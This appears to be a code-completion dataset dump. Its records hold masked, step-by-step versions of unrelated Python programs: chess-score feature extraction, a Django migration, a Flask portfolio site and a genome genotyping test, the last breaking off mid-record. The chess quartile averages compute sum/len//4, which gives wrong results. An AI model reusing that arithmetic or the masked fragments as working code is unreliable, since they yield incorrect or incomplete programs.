white_avg = sum(white_improve)/(game_len/2)\n black_avg = sum(black_improve)/(game_len/2)\n game_length.append(game_len)\n average_score.append(total/game_len)\n score_stdev.append(np.std(np.array(game_nums)))\n largest_gain.append(max_gain)\n largest_drop.append(max_drop)\n max_score.append(max_so_far)\n min_score.append(min_so_far)\n white_avg_improve.append(white_avg)\n black_avg_improve.append(black_avg)\n white_median_improve.append(sorted(white_improve)[len(white_improve)//2])\n black_median_improve.append(sorted(black_improve)[len(black_improve)//2])\n\n white_q1_improve.append( sum(white_improve[0:len(white_improve)//4])/len(white_improve)//4 )\n white_q2_improve.append( sum(white_improve[len(white_improve)//4 : (len(white_improve)//4)*2])/len(white_improve)//4 )\n white_q3_improve.append( sum(white_improve[(len(white_improve)//4)*2 : (len(white_improve)//4)*3])/len(white_improve)//4 )\n white_q4_improve.append( sum(white_improve[(len(white_improve)//4)*3 : ])/len(white_improve)//4 )\n black_q1_improve.append( sum(black_improve[0:len(black_improve)//4])/len(black_improve)//4 )\n black_q2_improve.append( sum(black_improve[len(black_improve)//4 : (len(black_improve)//4)*2])/len(black_improve)//4 )\n black_q3_improve.append( sum(black_improve[(len(black_improve)//4)*2 : (len(black_improve)//4)*3])/len(black_improve)//4 )\n black_q4_improve.append( sum(black_improve[(len(black_improve)//4)*3 : ])/len(black_improve)//4 )\n\n white_q1_max.append(max(white_improve[0:1+len(white_improve)//4]))\n white_q2_max.append(max(white_improve[len(white_improve)//4 : 1+(len(white_improve)//4)*2]))\n white_q3_max.append(max(white_improve[(len(white_improve)//4)*2 : 1+(len(white_improve)//4)*3]))\n white_q4_max.append(max(white_improve[(len(white_improve)//4)*3 : ]))\n black_q1_max.append(max(black_improve[0:1+len(black_improve)//4]))\n black_q2_max.append(max(black_improve[len(black_improve)//4 : 1+(len(black_improve)//4)*2]))\n black_q3_max.append(max(black_improve[(len(black_improve)//4)*2 : 1+(len(black_improve)//4)*3]))\n black_q4_max.append(max(black_improve[(len(black_improve)//4)*3 : ]))\n\n white_q1_min.append(min(white_improve[0:1+len(white_improve)//4]))\n white_q2_min.append(min(white_improve[len(white_improve)//4 : 1+(len(white_improve)//4)*2]))\n white_q3_min.append(min(white_improve[(len(white_improve)//4)*2 : 1+(len(white_improve)//4)*3]))\n white_q4_min.append(min(white_improve[(len(white_improve)//4)*3 : ]))\n black_q1_min.append(min(black_improve[0:1+len(black_improve)//4]))\n black_q2_min.append(min(black_improve[len(black_improve)//4 : 1+(len(black_improve)//4)*2]))\n black_q3_min.append(min(black_improve[(len(black_improve)//4)*2 : 1+(len(black_improve)//4)*3]))\n black_q4_min.append(min(black_improve[(len(black_improve)//4)*3 : ]))\n\n white_q1_stdev.append(np.std(np.array((white_improve[0:len(white_improve)//4]))))\n white_q2_stdev.append(np.std(np.array((white_improve[len(white_improve)//4 : (len(white_improve)//4)*2]))))\n white_q3_stdev.append(np.std(np.array((white_improve[(len(white_improve)//4)*2 : (len(white_improve)//4)*3]))))\n white_q4_stdev.append(np.std(np.array((white_improve[(len(white_improve)//4)*3 : ]))))\n black_q1_stdev.append(np.std(np.array((black_improve[0:len(black_improve)//4]))))\n black_q2_stdev.append(np.std(np.array((black_improve[len(black_improve)//4 : (len(black_improve)//4)*2]))))\n black_q3_stdev.append(np.std(np.array((black_improve[(len(black_improve)//4)*2 : (len(black_improve)//4)*3]))))\n black_q4_stdev.append(np.std(np.array((black_improve[(len(black_improve)//4)*3 : ]))))\n\n if len(white_improve) >=5:\n white_5_improve.append( sum(white_improve[0:5])/5 )\n else:\n white_5_improve.append(white_avg)\n if len(white_improve) >=10:\n white_10_improve.append( sum(white_improve[5:10])/5 )\n else:\n white_10_improve.append(white_avg)\n if len(white_improve) >=15:\n white_15_improve.append( sum(white_improve[10:15])/5 )\n else:\n white_15_improve.append(white_avg)\n if len(white_improve) >=20:\n white_20_improve.append( sum(white_improve[15:20])/5 )\n else:\n white_20_improve.append(white_avg)\n if len(white_improve) >=25:\n white_25_improve.append( sum(white_improve[20:25])/5 )\n else:\n white_25_improve.append(white_avg)\n if len(white_improve) >=30:\n white_30_improve.append( sum(white_improve[25:30])/5 )\n else:\n white_30_improve.append(white_avg)\n if len(white_improve) >=35:\n white_35_improve.append( sum(white_improve[30:35])/5 )\n else:\n white_35_improve.append(white_avg)\n if len(white_improve) >=40:\n white_40_improve.append( sum(white_improve[35:40])/5 )\n else:\n white_40_improve.append(white_avg)\n if len(white_improve) >=45:\n white_45_improve.append( sum(white_improve[40:45])/5 )\n else:\n white_45_improve.append(white_avg)\n if len(white_improve) >=50:\n white_50_improve.append( sum(white_improve[45:50])/5 )\n else:\n white_50_improve.append(white_avg)\n if len(white_improve) >=55:\n white_55_improve.append( sum(white_improve[50:55])/5 )\n else:\n white_55_improve.append(white_avg)\n if len(white_improve) >=60:\n white_60_improve.append( sum(white_improve[55:60])/5 )\n else:\n white_60_improve.append(white_avg)\n if len(white_improve) >=65:\n white_65_improve.append( sum(white_improve[60:65])/5 )\n else:\n white_65_improve.append(white_avg)\n if len(white_improve) >=70:\n white_70_improve.append( sum(white_improve[65:70])/5 )\n else:\n white_70_improve.append(white_avg)\n if len(white_improve) >=75:\n white_75_improve.append( sum(white_improve[70:75])/5 )\n else:\n white_75_improve.append(white_avg)\n\n if len(black_improve) >=5:\n black_5_improve.append( sum(black_improve[0:5])/5 )\n else:\n black_5_improve.append(black_avg)\n if len(black_improve) >=10:\n black_10_improve.append( sum(black_improve[5:10])/5 )\n else:\n black_10_improve.append(black_avg)\n if len(black_improve) >=15:\n black_15_improve.append( sum(black_improve[10:15])/5 )\n else:\n black_15_improve.append(black_avg)\n if len(black_improve) >=20:\n black_20_improve.append( sum(black_improve[15:20])/5 )\n else:\n black_20_improve.append(black_avg)\n if len(black_improve) >=25:\n black_25_improve.append( sum(black_improve[20:25])/5 )\n else:\n black_25_improve.append(black_avg)\n if len(black_improve) >=30:\n black_30_improve.append( sum(black_improve[25:30])/5 )\n else:\n black_30_improve.append(black_avg)\n if len(black_improve) >=35:\n black_35_improve.append( sum(black_improve[30:35])/5 )\n else:\n black_35_improve.append(black_avg)\n if len(black_improve) >=40:\n black_40_improve.append( sum(black_improve[35:40])/5 )\n else:\n black_40_improve.append(black_avg)\n if len(black_improve) >=45:\n black_45_improve.append( sum(black_improve[40:45])/5 )\n else:\n black_45_improve.append(black_avg)\n if len(black_improve) >=50:\n black_50_improve.append( sum(black_improve[45:50])/5 )\n else:\n black_50_improve.append(black_avg)\n if len(black_improve) >=55:\n black_55_improve.append( sum(black_improve[50:55])/5 )\n else:\n black_55_improve.append(black_avg)\n if len(black_improve) >=60:\n black_60_improve.append( sum(black_improve[55:60])/5 )\n else:\n black_60_improve.append(black_avg)\n if len(black_improve) >=65:\n black_65_improve.append( sum(black_improve[60:65])/5 )\n else:\n black_65_improve.append(black_avg)\n if len(black_improve) >=70:\n black_70_improve.append( sum(black_improve[65:70])/5 )\n else:\n black_70_improve.append(black_avg)\n if len(black_improve) >=75:\n black_75_improve.append( sum(black_improve[70:75])/5 )\n else:\n black_75_improve.append(black_avg)\n\n if len(game_nums)>10:\n game_score10.append(game_nums[10])\n else:\n game_score10.append(0)\n if len(game_nums)>20:\n game_score20.append(game_nums[20])\n else:\n game_score20.append(0)\n if len(game_nums)>30:\n game_score30.append(game_nums[30])\n else:\n game_score30.append(0)\n if len(game_nums)>40:\n game_score40.append(game_nums[40])\n else:\n game_score40.append(0)\n if len(game_nums)>50:\n game_score50.append(game_nums[50])\n else:\n game_score50.append(0)\n if len(game_nums)>60:\n game_score60.append(game_nums[60])\n else:\n game_score60.append(0)\n if len(game_nums)>70:\n game_score70.append(game_nums[70])\n else:\n game_score70.append(0)\n if len(game_nums)>80:\n game_score80.append(game_nums[80])\n else:\n game_score80.append(0)\n if len(game_nums)>90:\n game_score90.append(game_nums[90])\n else:\n game_score90.append(0)\n if len(game_nums)>100:\n game_score100.append(game_nums[100])\n else:\n game_score100.append(0)\n\n if prev:\n ending_score.append(prev)\n else:\n ending_score.append(0)\n\nchess_dict = {\"game_length\":game_length,\"average_score\":average_score,\"score_stdev\":score_stdev,\"largest_gain\":largest_gain,\n \"largest_drop\":largest_drop,\"max_score\":max_score,\"min_score\":min_score,\n \"ending_score\":ending_score, \"white_avg_improve\":white_avg_improve,\n \"black_avg_improve\":black_avg_improve,\"white_median_improve\":white_median_improve,\n \"black_median_improve\":black_median_improve,\"white_q1_improve\":white_q1_improve,\n \"white_q2_improve\":white_q2_improve,\n \"white_q3_improve\":white_q3_improve,\n \"white_q4_improve\":white_q4_improve,\"black_q1_improve\":black_q1_improve,\n \"black_q2_improve\":black_q2_improve,\n \"black_q3_improve\":black_q3_improve,\n \"black_q4_improve\":black_q4_improve,\n 'white_5_improve': white_5_improve,\n 'white_10_improve': white_10_improve,\n 'white_15_improve': white_15_improve,\n 'white_20_improve': white_20_improve,\n 'white_25_improve': white_25_improve,\n 'white_30_improve': white_30_improve,\n 'white_35_improve': white_35_improve,\n 'white_40_improve': white_40_improve,\n 'white_45_improve': white_45_improve,\n 'white_50_improve': white_50_improve,\n 'white_55_improve': white_55_improve,\n 'white_60_improve': white_60_improve,\n 'white_65_improve': white_65_improve,\n 'white_70_improve': white_70_improve,\n 'white_75_improve': white_75_improve,\n 'black_5_improve': black_5_improve,\n 'black_10_improve': black_10_improve,\n 'black_15_improve': black_15_improve,\n 'black_20_improve': black_20_improve,\n 'black_25_improve': black_25_improve,\n 'black_30_improve': black_30_improve,\n 'black_35_improve': black_35_improve,\n 'black_40_improve': black_40_improve,\n 'black_45_improve': black_45_improve,\n 'black_50_improve': black_50_improve,\n 'black_55_improve': black_55_improve,\n 'black_60_improve': black_60_improve,\n 'black_65_improve': black_65_improve,\n 'black_70_improve': black_70_improve,\n 'black_75_improve': black_75_improve,\n\n 'white_q1_max': white_q1_max,\n 'white_q2_max': white_q2_max,\n 'white_q3_max': white_q3_max,\n 'white_q4_max': white_q4_max,\n 'black_q1_max': black_q1_max,\n 'black_q2_max': black_q2_max,\n 'black_q3_max': black_q3_max,\n 'black_q4_max': black_q4_max,\n\n 'white_q1_min': white_q1_min,\n 'white_q2_min': white_q2_min,\n 'white_q3_min': white_q3_min,\n 'white_q4_min': white_q4_min,\n 'black_q1_min': black_q1_min,\n 'black_q2_min': black_q2_min,\n 'black_q3_min': black_q3_min,\n 'black_q4_min': black_q4_min,\n\n 'white_q1_stdev': white_q1_stdev,\n 'white_q2_stdev': white_q2_stdev,\n 'white_q3_stdev': white_q3_stdev,\n 'white_q4_stdev': white_q4_stdev,\n 'black_q1_stdev': black_q1_stdev,\n 'black_q2_stdev': black_q2_stdev,\n 'black_q3_stdev': black_q3_stdev,\n 'black_q4_stdev': black_q4_stdev,\n\n 'game_score10':game_score10,\n 'game_score20':game_score20,\n 'game_score30':game_score30,\n 'game_score40':game_score40,\n 'game_score50':game_score50,\n 'game_score60':game_score60,\n 'game_score70':game_score70,\n 'game_score80':game_score80,\n 'game_score90':game_score90,\n 'game_score100':game_score100\n}\n\n#Create feature data frame\nchess_df = pd.DataFrame(chess_dict, index=[x for x in range(1,50001)])\nchess_df.index.name = \"Event\"\n\n#Write the new feature data frame to CSV\nchess_df.to_csv(\"score_features.csv\")\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [migrations.swappable_dependency(settings. AUTH_USER_MODEL), ('warhawks', '0012_auto_20180607_1815'), ( 'notification', '0002_auto_20180607_1759')] operations = [migrations.CreateModel(name='N_lostandfound', fields=[( 'id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateTimeField (auto_now_add=True)), ('message', models.CharField(max_length=100)), ('read', models.BooleanField(default=False)), ('from_user', models. ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='from_user_lost', to=settings.AUTH_USER_MODEL)), ('lf', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to= 'warhawks.LostAndFound')), ('post', models.ForeignKey(on_delete= django.db.models.deletion.CASCADE, to='warhawks.LFComment')), ( 'to_user', models.ForeignKey(on_delete=django.db.models.deletion. CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL))])] <|reserved_special_token_1|> from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [migrations.swappable_dependency(settings. AUTH_USER_MODEL), ('warhawks', '0012_auto_20180607_1815'), ( 'notification', '0002_auto_20180607_1759')] operations = [migrations.CreateModel(name='N_lostandfound', fields=[( 'id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateTimeField (auto_now_add=True)), ('message', models.CharField(max_length=100)), ('read', models.BooleanField(default=False)), ('from_user', models. ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='from_user_lost', to=settings.AUTH_USER_MODEL)), ('lf', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to= 'warhawks.LostAndFound')), ('post', models.ForeignKey(on_delete= django.db.models.deletion.CASCADE, to='warhawks.LFComment')), ( 'to_user', models.ForeignKey(on_delete=django.db.models.deletion. CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL))])] <|reserved_special_token_1|> # -*- coding: utf-8 -*- # Generated by Django 1.11 on 2018-06-07 12:30 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('warhawks', '0012_auto_20180607_1815'), ('notification', '0002_auto_20180607_1759'), ] operations = [ migrations.CreateModel( name='N_lostandfound', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateTimeField(auto_now_add=True)), ('message', models.CharField(max_length=100)), ('read', models.BooleanField(default=False)), ('from_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='from_user_lost', to=settings.AUTH_USER_MODEL)), ('lf', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='warhawks.LostAndFound')), ('post', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='warhawks.LFComment')), ('to_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL)), ], ), ]
flexible
{ "blob_id": "c6c13ab24e4907eecf1db4fded28d4fc8126c834", "index": 1170, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [migrations.swappable_dependency(settings.\n AUTH_USER_MODEL), ('warhawks', '0012_auto_20180607_1815'), (\n 'notification', '0002_auto_20180607_1759')]\n operations = [migrations.CreateModel(name='N_lostandfound', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('date', models.DateTimeField\n (auto_now_add=True)), ('message', models.CharField(max_length=100)),\n ('read', models.BooleanField(default=False)), ('from_user', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='from_user_lost', to=settings.AUTH_USER_MODEL)), ('lf',\n models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'warhawks.LostAndFound')), ('post', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, to='warhawks.LFComment')), (\n 'to_user', models.ForeignKey(on_delete=django.db.models.deletion.\n CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL))])]\n", "step-4": "from __future__ import unicode_literals\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n dependencies = [migrations.swappable_dependency(settings.\n AUTH_USER_MODEL), ('warhawks', '0012_auto_20180607_1815'), (\n 'notification', '0002_auto_20180607_1759')]\n operations = [migrations.CreateModel(name='N_lostandfound', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('date', models.DateTimeField\n (auto_now_add=True)), ('message', models.CharField(max_length=100)),\n ('read', models.BooleanField(default=False)), ('from_user', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='from_user_lost', to=settings.AUTH_USER_MODEL)), ('lf',\n models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=\n 'warhawks.LostAndFound')), ('post', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, to='warhawks.LFComment')), (\n 'to_user', models.ForeignKey(on_delete=django.db.models.deletion.\n CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL))])]\n", "step-5": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11 on 2018-06-07 12:30\nfrom __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('warhawks', '0012_auto_20180607_1815'),\n ('notification', '0002_auto_20180607_1759'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='N_lostandfound',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('date', models.DateTimeField(auto_now_add=True)),\n ('message', models.CharField(max_length=100)),\n ('read', models.BooleanField(default=False)),\n ('from_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='from_user_lost', to=settings.AUTH_USER_MODEL)),\n ('lf', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='warhawks.LostAndFound')),\n ('post', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='warhawks.LFComment')),\n ('to_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='to_user_lost', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> @app.route('/etude') def etude(): return render_template('etude.html', titre= 'Portfolio Ludovic DELSOL - Etude') @app.route('/experience') def experience(): return render_template('experience.html', titre= 'Portfolio Ludovic DELSOL - Experiences Pros') @app.route('/competence') def compentence(): return render_template('compentence.html', titre= 'Portfolio Ludovic DELSOL - Compétences') @app.route('/projet') def project(): return render_template('projet.html', titre= 'Portfolio Ludovic DELSOL - Projets') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @app.route('/') def index(): return render_template('index.html', titre='Ludovic DELSOL - Portfolio') @app.route('/etude') def etude(): return render_template('etude.html', titre= 'Portfolio Ludovic DELSOL - Etude') @app.route('/experience') def experience(): return render_template('experience.html', titre= 'Portfolio Ludovic DELSOL - Experiences Pros') @app.route('/competence') def compentence(): return render_template('compentence.html', titre= 'Portfolio Ludovic DELSOL - Compétences') @app.route('/projet') def project(): return render_template('projet.html', titre= 'Portfolio Ludovic DELSOL - Projets') if __name__ == '__main__': app.run(debug=True) <|reserved_special_token_1|> <|reserved_special_token_0|> app = Flask(__name__) @app.route('/') def index(): return render_template('index.html', titre='Ludovic DELSOL - Portfolio') @app.route('/etude') def etude(): return render_template('etude.html', titre= 'Portfolio Ludovic DELSOL - Etude') @app.route('/experience') def experience(): return render_template('experience.html', titre= 'Portfolio Ludovic DELSOL - Experiences Pros') @app.route('/competence') def compentence(): return render_template('compentence.html', titre= 'Portfolio Ludovic DELSOL - Compétences') @app.route('/projet') def project(): return render_template('projet.html', titre= 'Portfolio Ludovic DELSOL - Projets') if __name__ == '__main__': app.run(debug=True) <|reserved_special_token_1|> from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index(): return render_template('index.html', titre='Ludovic DELSOL - Portfolio') @app.route('/etude') def etude(): return render_template('etude.html', titre= 'Portfolio Ludovic DELSOL - Etude') @app.route('/experience') def experience(): return render_template('experience.html', titre= 'Portfolio Ludovic DELSOL - Experiences Pros') @app.route('/competence') def compentence(): return render_template('compentence.html', titre= 'Portfolio Ludovic DELSOL - Compétences') @app.route('/projet') def project(): return render_template('projet.html', titre= 'Portfolio Ludovic DELSOL - Projets') if __name__ == '__main__': app.run(debug=True) <|reserved_special_token_1|> #!/usr/bin/python # -*- coding: latin-1 -*- from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index(): return render_template('index.html', titre="Ludovic DELSOL - Portfolio") @app.route('/etude') def etude(): return render_template('etude.html', titre="Portfolio Ludovic DELSOL - Etude") @app.route('/experience') def experience(): return render_template('experience.html', titre="Portfolio Ludovic DELSOL - Experiences Pros") @app.route('/competence') def compentence(): return render_template('compentence.html', titre="Portfolio Ludovic DELSOL - Compétences") @app.route('/projet') def project(): return render_template('projet.html', titre="Portfolio Ludovic DELSOL - Projets") if __name__ == '__main__': app.run(debug=True)
flexible
{ "blob_id": "c7037b6a576374f211580b304f8447349bbbbea3", "index": 9583, "step-1": "<mask token>\n\n\n@app.route('/etude')\ndef etude():\n return render_template('etude.html', titre=\n 'Portfolio Ludovic DELSOL - Etude')\n\n\n@app.route('/experience')\ndef experience():\n return render_template('experience.html', titre=\n 'Portfolio Ludovic DELSOL - Experiences Pros')\n\n\n@app.route('/competence')\ndef compentence():\n return render_template('compentence.html', titre=\n 'Portfolio Ludovic DELSOL - Compétences')\n\n\n@app.route('/projet')\ndef project():\n return render_template('projet.html', titre=\n 'Portfolio Ludovic DELSOL - Projets')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', titre='Ludovic DELSOL - Portfolio')\n\n\n@app.route('/etude')\ndef etude():\n return render_template('etude.html', titre=\n 'Portfolio Ludovic DELSOL - Etude')\n\n\n@app.route('/experience')\ndef experience():\n return render_template('experience.html', titre=\n 'Portfolio Ludovic DELSOL - Experiences Pros')\n\n\n@app.route('/competence')\ndef compentence():\n return render_template('compentence.html', titre=\n 'Portfolio Ludovic DELSOL - Compétences')\n\n\n@app.route('/projet')\ndef project():\n return render_template('projet.html', titre=\n 'Portfolio Ludovic DELSOL - Projets')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "step-3": "<mask token>\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', titre='Ludovic DELSOL - Portfolio')\n\n\n@app.route('/etude')\ndef etude():\n return render_template('etude.html', titre=\n 'Portfolio Ludovic DELSOL - Etude')\n\n\n@app.route('/experience')\ndef experience():\n return render_template('experience.html', titre=\n 'Portfolio Ludovic DELSOL - Experiences Pros')\n\n\n@app.route('/competence')\ndef compentence():\n return render_template('compentence.html', titre=\n 'Portfolio Ludovic DELSOL - Compétences')\n\n\n@app.route('/projet')\ndef project():\n return render_template('projet.html', titre=\n 'Portfolio Ludovic DELSOL - Projets')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "step-4": "from flask import Flask, render_template\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', titre='Ludovic DELSOL - Portfolio')\n\n\n@app.route('/etude')\ndef etude():\n return render_template('etude.html', titre=\n 'Portfolio Ludovic DELSOL - Etude')\n\n\n@app.route('/experience')\ndef experience():\n return render_template('experience.html', titre=\n 'Portfolio Ludovic DELSOL - Experiences Pros')\n\n\n@app.route('/competence')\ndef compentence():\n return render_template('compentence.html', titre=\n 'Portfolio Ludovic DELSOL - Compétences')\n\n\n@app.route('/projet')\ndef project():\n return render_template('projet.html', titre=\n 'Portfolio Ludovic DELSOL - Projets')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "step-5": "#!/usr/bin/python\n# -*- coding: latin-1 -*-\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', titre=\"Ludovic DELSOL - Portfolio\")\n\n@app.route('/etude')\ndef etude():\n return render_template('etude.html', titre=\"Portfolio Ludovic DELSOL - Etude\")\n\n@app.route('/experience')\ndef experience():\n return render_template('experience.html', titre=\"Portfolio Ludovic DELSOL - Experiences Pros\")\n\n@app.route('/competence')\ndef compentence():\n return render_template('compentence.html', titre=\"Portfolio Ludovic DELSOL - Compétences\")\n\n@app.route('/projet')\ndef project():\n return render_template('projet.html', titre=\"Portfolio Ludovic DELSOL - Projets\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
import collections import numpy import pytest import random import conftest from svviz2.io import readstatistics from svviz2.remap import genotyping from svviz2.utility.intervals import Locus def get_read_stats(isize=400): stats = readstatistics.ReadStatistics(None) stats.insertSizes = numpy.random.normal(400, 20, 2000).astype(int) stats.orientations = ["+-"] return stats def test_gt(genome_source, genome_source_deletion): genome_source_deletion, deletion_length = genome_source_deletion refseq = genome_source.names_to_contigs["chr2"] altseq = genome_source_deletion.names_to_contigs["chr2"] print("") coverage = 50 read_length = 150 ref_reads = conftest.simulate_read_pairs(refseq, int(len(refseq)/(read_length*2)*coverage)) alt_reads = conftest.simulate_read_pairs(altseq, int(len(altseq)/(read_length*2)*coverage)) print(len(ref_reads), len(alt_reads)) combined_reads = [] for i, _, pair in ref_reads: if 4000-500 < i < 4000+500+deletion_length: pair._allele = "ref" combined_reads.append(pair) for i, _, pair in alt_reads: if 4000-500 < i < 4500: pair._allele = "alt" combined_reads.append(pair) for pair in combined_reads: pair.realign([genome_source], [genome_source_deletion]) ref_breakpoints = [Locus("chr2", 4000, 4000, "+"), Locus("chr2", 4000+deletion_length, 4000+deletion_length, "+")] alt_breakpoints = [Locus("chr2", 4000, 4000, "+")] ref_count, alt_count = genotyping.assign_reads_to_alleles( combined_reads, ref_breakpoints, alt_breakpoints, get_read_stats()) print(":::::", ref_count, alt_count)
normal
{ "blob_id": "97a362fc65731bb8fc3743c49a669b4cd3f0e155", "index": 9426, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef get_read_stats(isize=400):\n stats = readstatistics.ReadStatistics(None)\n stats.insertSizes = numpy.random.normal(400, 20, 2000).astype(int)\n stats.orientations = ['+-']\n return stats\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef get_read_stats(isize=400):\n stats = readstatistics.ReadStatistics(None)\n stats.insertSizes = numpy.random.normal(400, 20, 2000).astype(int)\n stats.orientations = ['+-']\n return stats\n\n\ndef test_gt(genome_source, genome_source_deletion):\n genome_source_deletion, deletion_length = genome_source_deletion\n refseq = genome_source.names_to_contigs['chr2']\n altseq = genome_source_deletion.names_to_contigs['chr2']\n print('')\n coverage = 50\n read_length = 150\n ref_reads = conftest.simulate_read_pairs(refseq, int(len(refseq) / (\n read_length * 2) * coverage))\n alt_reads = conftest.simulate_read_pairs(altseq, int(len(altseq) / (\n read_length * 2) * coverage))\n print(len(ref_reads), len(alt_reads))\n combined_reads = []\n for i, _, pair in ref_reads:\n if 4000 - 500 < i < 4000 + 500 + deletion_length:\n pair._allele = 'ref'\n combined_reads.append(pair)\n for i, _, pair in alt_reads:\n if 4000 - 500 < i < 4500:\n pair._allele = 'alt'\n combined_reads.append(pair)\n for pair in combined_reads:\n pair.realign([genome_source], [genome_source_deletion])\n ref_breakpoints = [Locus('chr2', 4000, 4000, '+'), Locus('chr2', 4000 +\n deletion_length, 4000 + deletion_length, '+')]\n alt_breakpoints = [Locus('chr2', 4000, 4000, '+')]\n ref_count, alt_count = genotyping.assign_reads_to_alleles(combined_reads,\n ref_breakpoints, alt_breakpoints, get_read_stats())\n print(':::::', ref_count, alt_count)\n", "step-4": "import collections\nimport numpy\nimport pytest\nimport random\nimport conftest\nfrom svviz2.io import readstatistics\nfrom svviz2.remap import genotyping\nfrom svviz2.utility.intervals import Locus\n\n\ndef get_read_stats(isize=400):\n stats = readstatistics.ReadStatistics(None)\n stats.insertSizes = numpy.random.normal(400, 20, 2000).astype(int)\n stats.orientations = ['+-']\n return stats\n\n\ndef test_gt(genome_source, genome_source_deletion):\n genome_source_deletion, deletion_length = genome_source_deletion\n refseq = genome_source.names_to_contigs['chr2']\n altseq = genome_source_deletion.names_to_contigs['chr2']\n print('')\n coverage = 50\n read_length = 150\n ref_reads = conftest.simulate_read_pairs(refseq, int(len(refseq) / (\n read_length * 2) * coverage))\n alt_reads = conftest.simulate_read_pairs(altseq, int(len(altseq) / (\n read_length * 2) * coverage))\n print(len(ref_reads), len(alt_reads))\n combined_reads = []\n for i, _, pair in ref_reads:\n if 4000 - 500 < i < 4000 + 500 + deletion_length:\n pair._allele = 'ref'\n combined_reads.append(pair)\n for i, _, pair in alt_reads:\n if 4000 - 500 < i < 4500:\n pair._allele = 'alt'\n combined_reads.append(pair)\n for pair in combined_reads:\n pair.realign([genome_source], [genome_source_deletion])\n ref_breakpoints = [Locus('chr2', 4000, 4000, '+'), Locus('chr2', 4000 +\n deletion_length, 4000 + deletion_length, '+')]\n alt_breakpoints = [Locus('chr2', 4000, 4000, '+')]\n ref_count, alt_count = genotyping.assign_reads_to_alleles(combined_reads,\n ref_breakpoints, alt_breakpoints, get_read_stats())\n print(':::::', ref_count, alt_count)\n", "step-5": "import collections\nimport numpy\nimport pytest\nimport random\n\nimport conftest\nfrom svviz2.io import readstatistics\nfrom svviz2.remap import genotyping\nfrom svviz2.utility.intervals import Locus\n\ndef get_read_stats(isize=400):\n stats = readstatistics.ReadStatistics(None)\n stats.insertSizes = numpy.random.normal(400, 20, 2000).astype(int)\n stats.orientations = [\"+-\"]\n return stats\n\ndef test_gt(genome_source, genome_source_deletion):\n genome_source_deletion, deletion_length = genome_source_deletion\n\n refseq = genome_source.names_to_contigs[\"chr2\"]\n altseq = 